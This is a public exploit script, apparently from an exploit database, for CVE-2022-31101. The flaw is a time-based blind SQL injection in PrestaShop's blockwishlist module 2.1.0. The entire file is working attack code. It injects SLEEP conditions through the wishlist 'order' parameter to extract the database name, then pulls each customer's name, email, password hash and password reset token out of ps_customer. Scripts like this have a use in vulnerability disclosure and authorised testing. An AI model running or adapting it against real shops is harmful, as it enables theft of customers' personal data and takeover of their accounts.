# Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi
# Date: 29/07/22
# Exploit Author: Karthik UJ (@5up3r541y4n)
# Vendor Homepage: https://www.prestashop.com/en
# Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0
# Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/
# Version (blockwishlist): 2.1.0
# Version (prestashop): 1.7.8.1
# Tested on: Linux
# CVE: CVE-2022-31101
# This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop
import requests
url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1
cookie = input("Enter cookie value:\n")
header = {
"Cookie": cookie
}
# Define static stuff
param = "&order="
staticStart = "p.name, (select case when ("
staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"
charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^`{|}~'
charset = list(charset)
emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^`{|}~.'
emailCharset = list(emailCharset)
# Query current database name length
print("\nFinding db name's length:")
for length in range(1, 65):
condition = "LENGTH(database())=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
dbLength=length
print("Length: ", length, end='')
print("\n")
break
print("Enumerating current database name:")
databaseName = ''
for i in range(1, dbLength+1):
for char in charset:
condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')"
fullUrl = url + param + staticStart + condition + staticEnd
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
print(char, end='')
databaseName += char
break
print()
# Enumerate any table
prefix = "ps_"
tableName = prefix + "customer"
staticStart = "p.name, (select case when ("
staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="
staticEnd2 = "); -- .asc"
print("\nEnumerating " + tableName + " table")
for id in range(1, 10):
condition = "id_customer=" + str(id)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
print("\nOnly " + str(id - 1) + " records found. Exiting...")
break
except requests.exceptions.Timeout:
pass
print("\nid = " + str(id))
# Finding firstname length
for length in range(0, 100):
condition = "LENGTH(firstname)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
firstnameLength=length
print("Firstname length: ", length, end='')
print()
break
# Enumerate firstname
firstname = ''
print("Firstname: ", end='')
for i in range(1, length+1):
for char in charset:
condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
print(char, end='')
firstname += char
break
print()
# Finding lastname length
for length in range(1, 100):
condition = "LENGTH(lastname)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
lastnameLength=length
print("Lastname length: ", length, end='')
print()
break
# Enumerate lastname
lastname = ''
print("Lastname: ", end='')
for i in range(1, length+1):
for char in charset:
condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
print(char, end='')
firstname += char
break
print()
# Finding email length
for length in range(1, 320):
condition = "LENGTH(email)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
emailLength=length
print("Email length: ", length, end='')
print()
break
# Enumerate email
email = ''
print("Email: ", end='')
for i in range(1, length+1):
for char in emailCharset:
condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
if req.status_code == 500 and char == '.':
print(char, end='')
email += char
except requests.exceptions.Timeout:
print(char, end='')
email += char
break
print()
# Finding password hash length
for length in range(1, 500):
condition = "LENGTH(passwd)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
passwordHashLength=length
print("Password hash length: ", length, end='')
print()
break
# Enumerate password hash
passwordHash = ''
print("Password hash: ", end='')
for i in range(1, length+1):
for char in emailCharset:
condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
if req.status_code == 500 and char == '.':
print(char, end='')
passwordHash += char
except requests.exceptions.Timeout:
print(char, end='')
passwordHash += char
break
print()
# Finding password reset token length
for length in range(0, 500):
condition = "LENGTH(reset_password_token)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
passwordResetTokenLength=length
print("Password reset token length: ", length, end='')
print()
break
# Enumerate password reset token
passwordResetToken = ''
print("Password reset token: ", end='')
for i in range(1, length+1):
for char in emailCharset:
condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
if req.status_code == 500 and char == '.':
print(char, end='')
passwordResetToken += char
except requests.exceptions.Timeout:
print(char, end='')
passwordResetToken += char
break
print()